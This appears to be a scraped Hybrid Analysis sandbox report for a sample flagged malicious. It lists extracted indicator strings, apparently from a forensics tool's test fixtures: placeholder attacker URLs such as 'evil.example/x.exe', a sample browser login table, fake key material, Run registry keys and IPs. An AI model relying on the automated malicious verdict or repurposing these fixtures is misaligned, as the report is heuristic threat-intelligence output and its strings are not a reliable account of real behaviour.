26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T556,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Capa_reference_anti_VM_strings_targeting_VirtualBox Sample 401d18bc0d0e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 401d18bc0d0e…. Malware family: Capa_reference_anti_VM_strings_targeting_VirtualBox. Threat score 100/100. 3/27 AV engines flagged this file. 1 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","keywords":["Malicious","Capa_reference_anti_VM_strings_targeting_VirtualBox","malware analysis","sandbox report","threat intelligence","401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29"],"about":{"@type":"SoftwareApplication","name":"401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","applicationCategory":["peexe","assembly","executable"],"identifier":"401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Capa_reference_anti_VM_strings_targeting_VirtualBox","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":1,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T2185,Heuristic match: ".example.com", Pattern match: "https://contoso-my.sharepoint.com/personal/user/documents/q1%20plan.docx?web=1", Pattern match: "https://www.magnetforensics.com/", Pattern match: "https://ollama.com", Pattern match: "https://x.example/", Heuristic match: "sharepoint.com", Pattern match: "https://twitter.com/alice/status/1796469884026123456", Heuristic match: "carol@example.com", Pattern match: "mail.ru/agent/agent.mdb", Heuristic match: "pkg.id", Pattern match: "https://example.com/ffs", Pattern match: "http://127.0.0.1:8750", Pattern match: "http://127.0.0.1:8759", Pattern match: "https://drive.google.com/file/d/1xyz0987/view", Pattern match: "https://x.com/target", Pattern match: "cefsharp.core/134.3.60", Pattern match: "https://evil.example/x.exe", Pattern match: "https://s.weibo.com/weibo?q=%e5%8f%96%e8%af%81", Pattern match: "https://site.example/login", Heuristic match: "zhangsan@icloud.com", Heuristic match: "indexeddb/https_discord.com/000010.log", Pattern match: "https://www.example.com/sample?a=1", Pattern match: "google.com/search?q=pi+web", Pattern match: "exfat.kext/contents/info.plist", Pattern match: "https://site.example/", Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task", Pattern match: "https://x.com/bob", Heuristic match: "johndoe@gmail.com", Pattern match: "https://www.google.com/search?q=archived+term", Pattern match: "https://cal.example.com/evt/001", Pattern match: "https://mail.google.com/u/0", Heuristic match: "dev@example.com", Heuristic match: "bob@hotmail.com", Heuristic match: "jane@corp.io", Pattern match: "https://tabs-old.example/", Pattern match: "https://dl.example.com/f", Pattern match: "http://www.newzbin.com/dtd/2003/nzb", Pattern match: "https://example.com/page", Pattern match: "https://cdn.discordapp.com/attachments/222/1/a.png", Pattern match: "https://docs.google.com/document/d/1abc/edit?usp=sharing", Pattern match: "https://www.google.com/maps/place/cafe/@31.2,121.4,17z/data=!3d31.23456!4d121.45678", Pattern match: "http://evil", Pattern match: "https://example.com/third", Pattern match: "http://x/img.jpg", Heuristic match: "bob.com", Heuristic match: "user1@x.com", Pattern match: "https://old-session.example/a", Heuristic match: "c:\windows\prefetch\cmd.exe-a80e4f97.pf", Pattern match: "https://www.dropbox.com/oauth2/authorize", Heuristic match: "example.org", Pattern match: "https://plain.example/", Pattern match: "https://tabs-new.example/", Pattern match: "https://cache.example/page", Pattern match: "example.com/not-an-email", Pattern match: "https://www.bing.com/search?q=cbb+term", Pattern match: "https://www.google.com/search?q=x", Pattern match: "https://www.example.com/page2?__utmb=1234.3.10.1600001000", Pattern match: "https://auth0.openai.com/authorize", Pattern match: "https://a.b/x/y%20z.docx?web=1", Pattern match: "https://weibo.com/u/1936471035", Pattern match: "https://www.flickr.com/photos/someone/53216789012/", Heuristic match: "dave@example.com", Pattern match: "https://www.baidu.com/s?ie=utf-8&wd=%e5%8f%96%e8%af%81", Pattern match: "gmail.com/alice/2024-01-02.103055+0000utc.html", Pattern match: "https://news.example/", Pattern match: "https://append.example/new", Pattern match: "https://t.example/", Pattern match: "https://example.com/q", Pattern match: "https://f.example/setup.zip", Pattern match: "https://www.example.com/page?__utma=1234.5678.1600000000.1600001000.1600002000.5", Pattern match: "https://ton.example/1.png],urls:[{url:https://t.co/x,expandedurl:https://example.com/doc}]}},{participantsjoin:{inituserid:1234567890,joinedusersid:[9876543210],createat:2024-06-01t10:59:00.000z", Heuristic match: "zhangsan@example.com", Pattern match: "com.example.app/files/very_long_file_name_that_exceeds_the_ustar_name_field_length_limit_ok.bin", Heuristic match: "carol@x.com", Pattern match: "https://dup.example/", Pattern match: "https://axiomprobe.example/page1", Pattern match: "http://schemas.openxmlformats.org/spreadsheetml/2006/main", Pattern match: "https://example.com/", Pattern match: "https://www.google.com/maps/search/%e5%8f%96%e8%af%81/@31.2304,121.4737,15z", Pattern match: "https://www.instagram.com/p/c7abc123/", Pattern match: "https://example.com/maps/search/x", Pattern match: "https://b.example/y", Heuristic match: "evt-2024-001@example.com", Pattern match: "https://apple.com/", Pattern match: "https://example.com", Pattern match: "http://www.apple.com/dtds/propertylist-1.0.dtd", Pattern match: "https://v.example/f.zip", Pattern match: "https://example.com/setup.exe", Pattern match: "https://forensics.example/", Pattern match: "https://www.linkedin.com/feed/", Pattern match: "https://www.dropbox.com/home/photos", Pattern match: "https://zhangsan.example", Pattern match: "https://portal.example/", Pattern match: ".slack.com/1.log", Pattern match: "https://current-session.example/c", Pattern match: "https://current-session.example/b", Heuristic match: "b@x.com", Pattern match: "https://www.messenger.com/login/", Pattern match: "https://opera.example/,type:typed,timestamp:1700000000},https://plain.example/", Pattern match: "http://www.microsoft.com/networking/wlan/profile/v1", Pattern match: "http://projectvic.org/model/1.3/context.json", Pattern match: "https://www.baidu.com/s?tn=noq", Pattern match: "https://www.google.com/maps/place/x/!3d48.8584!4d2.2945", Pattern match: "https://sess-new.example/", Pattern match: "https://example.com/first", Pattern match: "https://www.example.com/nothing", Pattern match: "https://www.example.com/other", Pattern match: "https://www.google.com/search?q=pi+web", Heuristic match: "peer@example.com", Pattern match: "https://opera.example/", Pattern match: "https://contoso-my.sharepoint.com/personal/user/documents/", Pattern match: "http://schemas.openxmlformats.org/package/2006/relationships", Heuristic match: "zhangsan@gmail.com", Pattern match: "https://www.example.com/", Pattern match: "com.app/base.apk", Heuristic match: "a@x.com", Pattern match: "https://www.instagram.com/carol/", Heuristic match: "late@x.com", Pattern match: "https://site.example/one", Pattern match: "https://example.com/favicon.ico", Heuristic match: "cmd.exe-a80e4f97.pf", Pattern match: "https://login.microsoftonline.com/common/oauth2/v2.0/authorize", Pattern match: "https://vk.com/im?sel=582914", Heuristic match: "audit@example.org", Heuristic match: "signin.amazonaws.com", Pattern match: "https://site.example,usernamefield:uname,passwordfield:pword", Heuristic match: "messenger.com", Pattern match: "http://example.com", Heuristic match: "boss@example.org", Heuristic match: "bob@x.com", Pattern match: "https://v.example/x", Pattern match: "https://modern.example/", Heuristic match: "c:\windows\prefetch\notepad.exe-123abc.pf", Pattern match: "https://miss.example/", Heuristic match: "meta:https_discord.com", Pattern match: "https://session.example.com/tab", Pattern match: ".microsoft.com/1.log", Pattern match: "https://tenant.sharepoint.com/sites/team/lists/discussions/allitems.aspx", Heuristic match: "eos@example.net", Heuristic match: "indexeddb/https_discord.com/000009.log", Heuristic match: "z@x.com", Pattern match: "www.example.com", Pattern match: "https://maps.google.com/@51.5074,-0.1278,17z", Heuristic match: "alice@example.com", Heuristic match: "example.com", Pattern match: "https://www.google.com/search?q=qcode", Pattern match: "https://other.example/", Pattern match: "https://www.myspace.com/davey/messages", Pattern match: "http://www.w3.org/2001/xmlschema#datetime", Pattern match: "https://mail.google.com/", Pattern match: "https://www.bebo.com/dave", Heuristic match: "package://pkg.id", Pattern match: "gmail.com/alice/2024-01-02.103055+0000utc.txt", Pattern match: "https://docs.google.com/document/d/1abcdefgh/edit", Pattern match: "http://www.example.com/index.html", Heuristic match: "notepad.exe-123abc.pf", Pattern match: "https://hangouts.google.com/chat/person/1048", Heuristic match: "dave@example.org", Pattern match: "https://site.example", Heuristic match: "netflix.com", Pattern match: "https://www.facebook.com/alice.smith/posts/1029384756", Pattern match: "https://account.box.com/api/oauth2/authorize", Pattern match: "https://vk.com/wall1_2958374", Pattern match: "https://sess-old.example/", Heuristic match: "bob@bob.com", Heuristic match: "bob@example.com", Pattern match: "https://portal.example/,date_added:13300000000000002", Pattern match: "http://visited.example/page?q=1", Heuristic match: "attack.mitre.org", Heuristic match: "lisi@gmail.com", Heuristic match: "team@example.org"28:T418,Found HTTPS url "https://contoso", Found HTTPS url "https://www.magnetforensics.com", Found HTTPS url "https://ollama.com", Found HTTPS url "https://x.example", Found HTTPS url "https://twitter.com", Found HTTPS url "https://example.com", Found HTTPS url "https://drive.google.com", Found HTTPS url "https://x.com", Found HTTPS url "https://evil.example", Found HTTPS url "https://s.weibo.com", Found HTTPS url "https://site.example", Found HTTPS url "https://blank.example", Found HTTPS url "https://www.example.com", Found HTTPS url "https://www.google.com", Found HTTPS url "https://cal.example.com", Found HTTPS url "https://mail.google.com", Found HTTPS url "https://tabs", Found HTTPS url "https://dl.example.com", Found HTTPS url "https://cdn.discordapp.com", Found HTTPS url "https://docs.google.com", Found HTTPS url "https://old", Found HTTPS url "https://www.dropbox.com", Found HTTPS url "https://plain.example", Found HTTPS url "https://cache.example", Found HTTPS url "https://www.bing.com", Found HTTPS url "https://auth0.openai.com"29:T675,Potential IP "127.0.0.1" found in string "http://127.0.0.1:8750", Potential IP "127.0.0.1" found in string "http://127.0.0.1:8759", Potential IP "10.0.0.5" found in string "p123 cnginx uroot tREG n/var/log/access.log i4026539911 p456 csshd ualice tIPv4 n10.0.0.1:22->10.0.0.5:51000 d0x1000", Potential IP "192.0.2.44" found in string "2024-06-01 11:30:00 LogMeIn: control disconnect from 192.0.2.44", Potential IP "192.0.2.66" found in string "", "ips": [ { "value": "192.0.2.66", "label": "C2 ", "5.6.7.8", Potential IP "5.6.7.8" found in string "ip,timestamp,client_type 5.6.7.8,2024-06-01 12:00:00 UTC,iOS ", Potential IP "192.168.0.0" found in string "192.168.0.0/24", "10.0.0.1:22->10.0.0.5:51000", " 127.0.0.1:11434", "192.168.1.20", "192.168.1.10", "10.0.0.9:22", Potential IPs "192.0.2.44", "10.0.0.2" found in string "2024-06-01 11:00:00 LogMeIn: session start by remote 192.0.2.44 local 10.0.0.2", Potential IP "1.2.3.4" found in string "timestamp,device,browser,ip,location 2024-06-01 12:00:00 UTC,Pixel 8,Chrome,1.2.3.4,Tokyo ", Potential IP "203.0.113.5" found in string "2024/06/01 10:15:22.456 1234 4568 S Connections Incoming: X2 123456789 from 203.0.113.5", "1.0.0.6_0", "192.168.1.1", Potential IP "1.2.3.4" found in string "id,username,email_address,created,creation_ip,display_name 1,alice,a@x.com,2024-06-01 12:34:56 UTC,1.2.3.4,Ali ", "255.255.255.0", "1.0.0.6", "1.0.0.0", Potential IP "10.0.0.1" found in string "Jun 1 12:00:01 srv sshd[1234]: Accepted publickey for alice from 10.0.0.1 port 22022 ssh2 Jun 1 12:05:00 srv sudo: alice : TTY=pts/0 ; PWD=/root ; COMMAND=/bin/su - garbage line without timestamp", "10.2.2.2"2a:T923,Found reference to API "zhangsan@icloud.com" (Indicator: "@icloud."; Source: "sample.bin"), Found reference to API "johndoe@gmail.com" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "bob@hotmail.com" (Indicator: "@hotmail."; Source: "sample.bin"), file/memory contains long string with (Indicator: "@icloud."; Source: "sample.bin") in Source: sample.bin, file/memory contains long string with (Indicator: "@gmail."; Source: "sample.bin") in Source: sample.bin, Found reference to API ".purple/logs/prpl-jabber/johndoe@gmail.com/alice/2024-01-02.103055+0000UTC.html" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "local@icloud.example" (Indicator: "@icloud."; Source: "sample.bin"), Found reference to API "user@gmail.com-Search.txt" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "zhangsan@gmail.com" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "(privkeys (account (name "alice@example.com") (protocol "prpl-jabber") (private-key (dsa (p #00ff00ff#) (q #00aa00aa#) (g #2f2f2f2f#) (y #12341234#) (x #99999999#)) ) (comment "") ) (account (name "bob@hotmail.com") (protocol "prpl-msn") ) )" (Indicator: "@hotmail."; Source: "sample.bin"), Found reference to API "{"calendars": { "zhangsan@gmail.com": { "events": { "ev1": {"summary": "" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "" (Indicator: "@hotmail."; Source: "sample.bin"), Found reference to API ".purple/logs/prpl-jabber/johndoe@gmail.com/alice/2024-01-02.103055+0000UTC.txt" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "CREATE TABLE Calendars (_id INTEGER PRIMARY KEY, account_name TEXT, displayName TEXT); INSERT INTO Calendars VALUES (1, 'user@gmail.com', '" (Indicator: "@gmail."; Source: "sample.bin"), Found reference to API "lisi@gmail.com" (Indicator: "@gmail."; Source: "sample.bin")2b:Td99,Found reference to API "failed to open dsc" (Indicator: "open"; Source: "sample.bin"), file/memory contains long string with (Indicator: "creat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "time"; Source: "sample.bin"), file/memory contains long string with (Indicator: "times"; Source: "sample.bin"), Found reference to API "SELECT COUNT(*) FROM case_profiles WHERE profile_name='" (Indicator: "select"; Source: "sample.bin"), Found reference to API "{"runtimeOptions":{"tfm":"netcoreapp3.1","rollForward":"LatestMajor","framework":{"name":"Microsoft.WindowsDesktop.App","version":"3.1.0"}}}" (Indicator: "time"; Source: "sample.bin"), Found reference to API "FileFolderOpening" (Indicator: "open"; Source: "sample.bin"), Found reference to API "ConnectionType" (Indicator: "connect"; Source: "sample.bin"), Found reference to API "SELECT COUNT(*) FROM artifact_records r WHERE NOT EXISTS (SELECT 1 FROM evidence e WHERE e.id = r.evidence_id);" (Indicator: "select"; Source: "sample.bin"), Found reference to API "SecurityMode" (Indicator: "security"; Source: "sample.bin"), Found reference to API "a.axiomclone.db" (Indicator: "clone"; Source: "sample.bin"), Found reference to API "Accepted publickey for alice" (Indicator: "accept"; Source: "sample.bin"), Found reference to API "src/AxiomClone.Process/Settings/SettingsDialog.xaml.cs" (Indicator: "clone"; Source: "sample.bin"), Found reference to API "CreatedByLogin" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "noindex.axiomclone.db" (Indicator: "clone"; Source: "sample.bin"), Found reference to API "LastSearchedDateTimeUTCYyyyMmDd" (Indicator: "time"; Source: "sample.bin"), Found reference to API "Mailinator Inbox Access" (Indicator: "access"; Source: "sample.bin"), Found reference to API "https://twitter.com/alice/status/1796469884026123456" (Indicator: "stat"; Source: "sample.bin"), Found reference to API "StandardTimezoneName" (Indicator: "time"; Source: "sample.bin"), Found reference to API "ActiveTimeBias" (Indicator: "time"; Source: "sample.bin"), Found reference to API "Artifact_OS_Mounted_Devices" (Indicator: "mount"; Source: "sample.bin"), Found reference to API "'); CREATE TABLE users_v2 (id INTEGER PRIMARY KEY, name TEXT, username TEXT); INSERT INTO users_v2 (id, name, username) VALUES (-1001234567890, '" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "CREATE TABLE history_items (id INTEGER PRIMARY KEY, url TEXT, title TEXT, visit_count INTEGER); INSERT INTO history_items VALUES (1, 'https://example.com/ffs', 'FFS " (Indicator: "creat"; Source: "sample.bin"), Found reference to API "{"profile_information": [ {"last_updated_timestamp": 1717200000, "profile_v2": {"name": {"full_name": "" (Indicator: "time"; Source: "sample.bin"), Found reference to API "{"profile_information": [ {"last_updated_timestamp": 1717200000, "profile_v2": {"name": {"full_name": "" (Indicator: "times"; Source: "sample.bin"), Found reference to API "CREATE TABLE sms (_id INTEGER PRIMARY KEY, address TEXT, body TEXT, date INTEGER, type INTEGER); INSERT INTO sms(address, body, date, type) VALUES ('10086', 'balance', '1700000000000', 1);" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "DateModifiedDateTimeUTCYyyyMmDd" (Indicator: "time"; Source: "sample.bin"), Found reference to API "{"following":{"accountId":"1111222233","userLink":"https://x.com/target"}}" (Indicator: "link"; Source: "sample.bin")2c:T2fc6,"CREATE TABLE Accounts (skypename TEXT, fullname TEXT, emails TEXT, profile_timestamp INTEGER, lastonline_timestamp INTEGER, birthday TEXT, gender TEXT, city TEXT, province TEXT, country TEXT, phone_home TEXT, phone_office TEXT, phone_mobile TEXT); INSERT INTO Accounts VALUES ('jdoe','John Doe','j@ex.com',1600000000,1700000000,'19900101','male','Rome','Lazio','IT','+1','+2','+3');" (Source: sample.bin, Indicator: "create table accounts (skypename text, fullname text, emails text, profile_timestamp integer, lastonline_timestamp integer, birthday text, gender text, city text, province text, country text, phone_home text, phone_office text, phone_mobile text); insert into accounts values ('jdoe','john doe','j@ex.com',1600000000,1700000000,'19900101','male','rome','lazio','it','+1','+2','+3');"), "SELECT COUNT(*) FROM case_profiles WHERE profile_name='" (Source: sample.bin, Indicator: "select count(*) from case_profiles where profile_name='"), "SELECT COUNT(*) FROM artifact_records r WHERE NOT EXISTS (SELECT 1 FROM evidence e WHERE e.id = r.evidence_id);" (Source: sample.bin, Indicator: "select count(*) from artifact_records r where not exists (select 1 from evidence e where e.id = r.evidence_id);"), "CREATE TABLE history_items (id INTEGER PRIMARY KEY, url TEXT, title TEXT, visit_count INTEGER); INSERT INTO history_items VALUES (1, 'https://example.com/ffs', 'FFS " (Source: sample.bin, Indicator: "create table history_items (id integer primary key, url text, title text, visit_count integer); insert into history_items values (1, 'https://example.com/ffs', 'ffs "), "CREATE TABLE sms (_id INTEGER PRIMARY KEY, address TEXT, body TEXT, date INTEGER, type INTEGER); INSERT INTO sms(address, body, date, type) VALUES ('10086', 'balance', '1700000000000', 1);" (Source: sample.bin, Indicator: "create table sms (_id integer primary key, address text, body text, date integer, type integer); insert into sms(address, body, date, type) values ('10086', 'balance', '1700000000000', 1);"), "CREATE TABLE words (_id INTEGER PRIMARY KEY, word TEXT, shortcut TEXT, frequency INTEGER, locale TEXT, appid INTEGER); INSERT INTO words VALUES (1, '" (Source: sample.bin, Indicator: "create table words (_id integer primary key, word text, shortcut text, frequency integer, locale text, appid integer); insert into words values (1, '"), "CREATE TABLE logins(origin_url VARCHAR, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR, date_created INTEGER DEFAULT 0, blacklisted_by_user INTEGER DEFAULT 0, id INTEGER); INSERT INTO logins(origin_url, username_value, password_value, signon_realm, date_created, id) VALUES('https://site.example/login', 'bob', X'01020003', 'https://site.example', 13300000000000000, 1); INSERT INTO logins(origin_url, username_value, password_value, signon_realm, date_created, id) VALUES('https://blank.example/', 'carol', NULL, 'https://blank.example/', 13300000000000001, 2);" (Source: sample.bin, Indicator: "create table logins(origin_url varchar, action_url varchar, username_element varchar, username_value varchar, password_element varchar, password_value blob, submit_element varchar, signon_realm varchar, date_created integer default 0, blacklisted_by_user integer default 0, id integer); insert into logins(origin_url, username_value, password_value, signon_realm, date_created, id) values('https://site.example/login', 'bob', x'01020003', 'https://site.example', 13300000000000000, 1); insert into logins(origin_url, username_value, password_value, signon_realm, date_created, id) values('https://blank.example/', 'carol', null, 'https://blank.example/', 13300000000000001, 2);"), "CREATE TABLE messages_v2 (mid INTEGER PRIMARY KEY, dialog_id INTEGER, date INTEGER, out INTEGER, message TEXT); INSERT INTO messages_v2 (mid, dialog_id, date, out, message) VALUES (201, -1001234567890, 1717234200, 0, '" (Source: sample.bin, Indicator: "create table messages_v2 (mid integer primary key, dialog_id integer, date integer, out integer, message text); insert into messages_v2 (mid, dialog_id, date, out, message) values (201, -1001234567890, 1717234200, 0, '"), "SELECT COUNT(*) FROM artifact_records WHERE evidence_id = " (Source: sample.bin, Indicator: "select count(*) from artifact_records where evidence_id = "), "INSERT OR IGNORE INTO artifact_tags(hit_key, tag_name) VALUES('" (Source: sample.bin, Indicator: "insert or ignore into artifact_tags(hit_key, tag_name) values('"), "INSERT INTO authtokens VALUES (1, 1, 'token_type', 'tok123');" (Source: sample.bin, Indicator: "insert into authtokens values (1, 1, 'token_type', 'tok123');"), "CREATE TABLE searchHistory (id INTEGER PRIMARY KEY, query TEXT, timestamp INTEGER); INSERT INTO searchHistory VALUES (1, 'puzzle game', 1717200060000);" (Source: sample.bin, Indicator: "create table searchhistory (id integer primary key, query text, timestamp integer); insert into searchhistory values (1, 'puzzle game', 1717200060000);"), "CREATE TABLE handle (ROWID INTEGER PRIMARY KEY, id TEXT); INSERT INTO handle VALUES (1, '+6012345678'); CREATE TABLE message (ROWID INTEGER PRIMARY KEY, text TEXT, date REAL, is_from_me INTEGER, handle_id INTEGER, service TEXT, cache_roomname TEXT, account TEXT, is_delivered INTEGER, date_delivered REAL, date_read REAL, is_from_siri INTEGER, attached INTEGER, cache_has_attachments INTEGER); INSERT INTO message VALUES (1, 'FFS " (Source: sample.bin, Indicator: "create table handle (rowid integer primary key, id text); insert into handle values (1, '+6012345678'); create table message (rowid integer primary key, text text, date real, is_from_me integer, handle_id integer, service text, cache_roomname text, account text, is_delivered integer, date_delivered real, date_read real, is_from_siri integer, attached integer, cache_has_attachments integer); insert into message values (1, 'ffs "), "CREATE TABLE urls (id INTEGER PRIMARY KEY, url TEXT, title TEXT, last_visit_time INTEGER, visit_count INTEGER, typed_count INTEGER, hidden INTEGER); INSERT INTO urls VALUES(1, 'https://example.com/page', 'Example Page', 13360000000000000, 3, 1, 0); INSERT INTO urls VALUES(2, 'https://www.google.com/search?q=archived+term', '', 13360000000000001, 1, 0, 0);" (Source: sample.bin, Indicator: "create table urls (id integer primary key, url text, title text, last_visit_time integer, visit_count integer, typed_count integer, hidden integer); insert into urls values(1, 'https://example.com/page', 'example page', 13360000000000000, 3, 1, 0); insert into urls values(2, 'https://www.google.com/search?q=archived+term', '', 13360000000000001, 1, 0, 0);"), "SELECT COUNT(*) FROM artifact_records WHERE artifact_id='Artifact_WebRelated_Chromium_Others_Web_Visits'" (Source: sample.bin, Indicator: "select count(*) from artifact_records where artifact_id='artifact_webrelated_chromium_others_web_visits'"), "CREATE TABLE messages (_id INTEGER PRIMARY KEY, key_remote_jid TEXT, key_from_me INTEGER, timestamp INTEGER, data TEXT, media_url TEXT, media_mime_type TEXT, media_wa_type TEXT, media_size INTEGER, media_name TEXT, latitude REAL, longitude REAL, status INTEGER, receipt_server_timestamp INTEGER, receipt_device_timestamp INTEGER, starred INTEGER, forwarded INTEGER, media_duration INTEGER, location_track_path TEXT, media_local_path TEXT); INSERT INTO messages(key_remote_jid, key_from_me, timestamp, data, media_url, media_mime_type, media_wa_type, media_size, media_name, latitude, longitude, status, receipt_server_timestamp, receipt_device_timestamp, starred, forwarded, media_duration, location_track_path, media_local_path) VALUES ('4915xxxx@s.whatsapp.net', 1, 1700000000000, 'look', 'http://x/img.jpg', 'image/jpeg', 'image', 123, 'img.jpg', 0, 0, -1, 0, 0, 0, 0, 0, '', 'WhatsApp/Media/WhatsApp Images/IMG-20230101-WA0001.jpg'),('4915xxxx@s.whatsapp.net', 0, 1700000001000, 'text only', '', '', '', 0, '', 0, 0, -1," (Source: sample.bin, Indicator: "create table messages (_id integer primary key, key_remote_jid text, key_from_me integer, timestamp integer, data text, media_url text, media_mime_type text, media_wa_type text, media_size integer, media_name text, latitude real, longitude real, status integer, receipt_server_timestamp integer, receipt_device_timestamp integer, starred integer, forwarded integer, media_duration integer, location_track_path text, media_local_path text); insert into messages(key_remote_jid, key_from_me, timestamp, data, media_url, media_mime_type, media_wa_type, media_size, media_name, latitude, longitude, status, receipt_server_timestamp, receipt_device_timestamp, starred, forwarded, media_duration, location_track_path, media_local_path) values ('4915xxxx@s.whatsapp.net', 1, 1700000000000, 'look', 'http://x/img.jpg', 'image/jpeg', 'image', 123, 'img.jpg', 0, 0, -1, 0, 0, 0, 0, 0, '', 'whatsapp/media/whatsapp images/img-20230101-wa0001.jpg'),('4915xxxx@s.whatsapp.net', 0, 1700000001000, 'text only', '', '', '', 0, '', 0, 0, -1,"), "CREATE TABLE handle (rowid INTEGER PRIMARY KEY, id TEXT); INSERT INTO handle VALUES (1, '+8613800000000'); CREATE TABLE message (rowid INTEGER PRIMARY KEY, text TEXT, date REAL, is_from_me INTEGER, handle_id INTEGER, service TEXT, cache_roomname TEXT, account TEXT); INSERT INTO message VALUES (1, 'hello imessage', 705000000.0, 1, 1, 'iMessage', NULL, 'local@icloud.example'); INSERT INTO message VALUES (2, 'reply here', 705000600.0, 0, 1, 'iMessage', NULL, 'local@icloud.example');" (Source: sample.bin, Indicator: "create table handle (rowid integer primary key, id text); insert into handle values (1, '+8613800000000'); create table message (rowid integer primary key, text text, date real, is_from_me integer, handle_id integer, service text, cache_roomname text, account text); insert into message values (1, 'hello imessage', 705000000.0, 1, 1, 'imessage', null, 'local@icloud.example'); insert into message values (2, 'reply here', 705000600.0, 0, 1, 'imessage', null, 'local@icloud.example');"), "SELECT artifact_id, COUNT(*) FROM timeline GROUP BY artifact_id" (Source: sample.bin, Indicator: "select artifact_id, count(*) from timeline group by artifact_id"), "SELECT source_type, source_token, logical_path, source_evidence_id FROM evidence WHERE id=$i;" (Source: sample.bin, Indicator: "select source_type, source_token, logical_path, source_evidence_id from evidence where id=$i;"), "INSERT INTO downloads(id, guid, current_path, target_path, start_time, received_bytes, total_bytes, state, danger_type, interrupt_reason, end_time, opened, chain_index) VALUES(" (Source: sample.bin, Indicator: "insert into downloads(id, guid, current_path, target_path, start_time, received_bytes, total_bytes, state, danger_type, interrupt_reason, end_time, opened, chain_index) values("), "CREATE TABLE artifact_definitions (artifact_id TEXT PRIMARY KEY, name TEXT NOT NULL, category_id TEXT NOT NULL, description TEXT NOT NULL, columns_json TEXT NOT NULL);" (Source: sample.bin, Indicator: "create table artifact_definitions (artifact_id text primary key, name text not null, category_id text not null, description text not null, columns_json text not null);"), "SELECT COUNT(*) FROM timeline WHERE stage='Web Related'" (Source: sample.bin, Indicator: "select count(*) from timeline where stage='web related'"), "CREATE TABLE Messages(id INTEGER PRIMARY KEY, chatname TEXT, author TEXT, from_dispname TEXT, timestamp INTEGER, body_xml TEXT, type INTEGER, chatmsg_type INTEGER);" (Source: sample.bin, Indicator: "create table messages(id integer primary key, chatname text, author text, from_dispname text, timestamp integer, body_xml text, type integer, chatmsg_type integer);"), "INSERT INTO Files (fileID, domain, relativePath, flags, file_length) VALUES ($f,$d,$r,$fl,$l);" (Source: sample.bin, Indicator: "insert into files (fileid, domain, relativepath, flags, file_length) values ($f,$d,$r,$fl,$l);"), "INSERT OR IGNORE INTO case_profiles(profile_name, hit_key) VALUES('" (Source: sample.bin, Indicator: "insert or ignore into case_profiles(profile_name, hit_key) values('")2d:T499,Found string "https://twitter.com/alice/status/1796469884026123456" (Indicator: "twitter"; Source: "sample.bin"), Found string "C:\users\u1\Downloads\twitter_warrant_return.txt" (Indicator: "twitter"; Source: "sample.bin"), Found string "Cloud Twitter (X) Users - Warrant Return" (Indicator: "twitter"; Source: "sample.bin"), Found string "Davey - Messages | MySpace" (Indicator: "myspace"; Source: "sample.bin"), Found string "Twitter" (Indicator: "twitter"; Source: "sample.bin"), Found string "Cloud Twitter (X) Warrant Return - Posts" (Indicator: "twitter"; Source: "sample.bin"), Found string "https://www.linkedin.com/feed/" (Indicator: "linkedin.com"; Source: "sample.bin"), Found string "Cloud Twitter (X) Warrant Return - Direct Messages" (Indicator: "twitter"; Source: "sample.bin"), Found string "https://www.myspace.com/davey/messages" (Indicator: "myspace"; Source: "sample.bin"), Found string "https://www.bebo.com/dave" (Indicator: "bebo.com"; Source: "sample.bin"), Found string "netflix.com" (Indicator: "netflix.com"; Source: "sample.bin"), Found string "https://www.facebook.com/alice.smith/posts/1029384756" (Indicator: "facebook.com"; Source: "sample.bin")2e:T4c5,"ROOT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery" in Source: sample.bin, "ROOT\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Run" in Source: sample.bin, "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: sample.bin, "c:\u\opera software\opera stable\search field history" in Source: sample.bin, "HKCU\Software" in Source: sample.bin, "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" in Source: sample.bin, "ROOT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\OpenWithProgids" in Source: sample.bin, "Software\Microsoft\Office\16.0\Word\File MRU" in Source: sample.bin, "HKCU\Software\Microsoft\Internet Explorer\TypedURLs" in Source: sample.bin, "c:\u\opera software\opera stable\typed history" in Source: sample.bin, 